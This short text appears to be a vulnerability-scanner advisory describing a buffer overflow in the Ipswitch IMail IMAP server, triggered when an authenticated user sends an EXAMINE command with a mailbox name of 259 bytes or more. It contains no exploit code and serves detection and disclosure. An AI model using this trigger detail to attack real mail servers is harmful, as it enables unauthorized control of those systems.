Ipswitch IMail IMAP EXAMINE Argument Buffer Overflow

The remote host is running a version of the Ipswitch Collaboration Suite / Ipswitch IMail IMAP server that is prone to a buffer overflow when processing an EXAMINE command with a long argument. Specifically, if an authenticated attacker sends an EXAMINE command with a malformed mailbox name of 259 bytes or more, he will overwrite the saved stack frame pointer and potentially gain control of process execution.
